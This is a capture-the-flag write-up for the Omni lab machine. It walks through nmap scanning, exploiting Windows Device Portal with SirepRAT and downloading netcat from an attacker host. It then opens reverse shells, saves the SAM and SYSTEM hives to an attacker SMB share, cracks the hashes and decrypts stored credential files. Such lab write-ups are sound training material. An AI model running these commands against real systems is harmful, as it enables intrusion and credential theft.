Omni

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.204 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p135,5985,8080,29817,29819,29820 10.10.10.204 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we take a look at the website on port 8080, it will ask for some credentials that we don't have.

Let's enumerate the website with the whatweb tool.

whatweb http://10.10.10.204:8080

Exploitation

If we take a look at the result, we'll see the feature Windows Device Portal. At this point, I started looking for any common exploits associated to that feature, and I found this exploit on GitHub. Download it, and install it with the following commands.

git clone https://github.com/SafeBreach-Labs/SirepRAT

cd SirepRat/

pip3 install -r requirements.txt

python3 setup.py install

This tool allow us to execute commands on the victim machine among other things.To get a reverse shell, we'll have to transfer the nc64.exe binary to the Omni machine. First, let's set a simple HTTP server with python on the directory where the nc.exe is located.

python -m http.server 80

Then, execute the SirepRAT tool, so that it will download the nc64.exe binary, and save it in the AppLocker bypass directory C:\Windows\System32\spool\drivers\color\.

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "powershell" --args "/c iwr -uri http://10.10.14.9/nc64.exe -outfile C:\Windows\System32\spool\drivers\color\nc64.exe"

  • --return_output set to have the target device return the command output stream.

  • -cmd program to execute.

  • -args arguments string for the program.

Once we transfer the nc64.exe binary to the victim machine, let's set a netcat listener on port 4444 with rlwrap.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, we'll have to execute the nc.exe binary, so it send us a revere shell.

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c c:\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.9 4444'

Privilege Escalation

We'll see that the whoami command doesn't work, but we can still know which user we are by viewing the value of the %username% variable.

echo $username%

We could also see the users on the system.

net user

Now, let's go to the root directory and find the user and root flags recursively.

dir /s user.txt root.txt

  • /s enumerate directories and subdirectories.

If we try to view the flags, we'll see that have a different format.

type C:\Data\Users\administrator\root.txt C:\Data\Users\app\user.txt

In order to view the real flags, we'll have to use PowerShell, and execute the following command.

powershell

(Import-CliXml -Path C:\data\users\app\user.txt).GetNetworkCredential().password

But we get an error. Maybe it is because we don't have the right permissions. We'll see that we have SYSTEM privileges, and because of that, we could try to make a copy of the SAM and SYSTEM registries. First, let's create a new folder called temp on the root folder, and then make a copy of those registries.

mkdir C:\temp

cd C:\temp

reg save HKLM\sam sam.backup

reg save HKLM\system system.backup

Now, let's transfer those to our local machine. First, let's set an SMB server with impacket.

impacket-smbserver smbFolder $(pwd) -smb2support

Then, copy the files to the SMB share.

copy sam.backup \10.10.14.9\smbFolder

copy system.backup \10.10.14.9\smbFolder

Once we have those files in our local machine, we could try to extract the hashes of the users with secretsdump.

impacket-secretsdump -system system.backup -sam sam.backup LOCAL

  • -system SYSTEM hive to parse.

  • -sam SAM hive to parse.

Now, let's put those hashes in the hashes file, and try to break those with john.

john --wordlist=/usr/share/wordlists/rockyou.txt hashes --format=NT

And we get the mesh5143 password. We could try to log in with the user app, and that password in the website.

And we get in.

We'll see that we can run commands as the app user, from the Processes section.

Now, let's set another netcat listener on port 4444 with netcat.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

And now, send a reverse shell again, but this time as the app user.

At this point, we could see the user flag with the same method as before.

powershell

(Import-CliXml -Path C:\data\users\app\user.txt).GetNetworkCredential().password

But, now we can't see the root flag. But there is a file with the same format as the flags on the app home folder called iot-admin.xml. If we try to see it's content, we'll see another password.

powershell

(Import-CliXml -Path C:\data\users\app\iot-admin.xml).GetNetworkCredential().password

Now, let's try to log in again in the website, but this time with the administrator user. You'll need to close and open your browser.

And we get in again, but as the administrator user.

Now, let's send another reverse shell, but as the administrator user.

Finally, as we are the administrator user, all we have to do is reap the harvest and take the root flag with the same method as before.

(Import-CliXml -Path C:\data\users\administrator\root.txt).GetNetworkCredential().password

Last updated

Was this helpful?